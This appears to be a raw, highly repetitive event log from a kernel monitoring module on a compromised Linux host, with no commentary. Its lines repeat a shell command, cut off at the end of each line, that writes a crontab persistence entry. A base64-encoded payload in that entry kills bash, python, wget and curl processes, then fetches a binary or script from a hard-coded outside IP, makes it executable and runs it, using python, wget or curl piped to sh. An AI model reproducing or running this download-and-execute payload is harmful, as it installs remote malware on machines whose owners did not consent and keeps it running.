dHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35e] [sh][PID:0x384] filp_close. File: \"/etc/rc.local\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x394] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35b] [crontab][PID:0x37c] filp_close. File: \"/lib/x86_64-linux-gnu/libaudit.so.1.0.0\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x34e] [crontab][PID:0x36a] do_filp_open. Filename: \"/proc/filesystems\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x348] [crontab][PID:0x35a] filp_close. File: \"/lib/x86_64-linux-gnu/libnss_compat-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3a1] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [sh][PID:0x38f] filp_close. File: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * echo -n \"KCBzbGVlcCAyOyB3aGlsZSB0cnVlOyBkbyBwa2lsbCAtZiAgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZ[rkmodule] [keyd][PPID:0x2f1] [sh][PID:0x393] filp_close. File: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3ac] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [sh][PID:0x3a0] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x380] filp_close. File: \"pipe:[12298]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x3b5] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x357] [crontab][PID:0x374] do_filp_open. Filename: \"/etc/nsswitch.conf\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x38d] [crontab][PID:0x3b8] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3bf] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [bnmf][PID:0x2fe] vfs_getattr. path: \"/proc/buddyinfo\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x3c7] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n 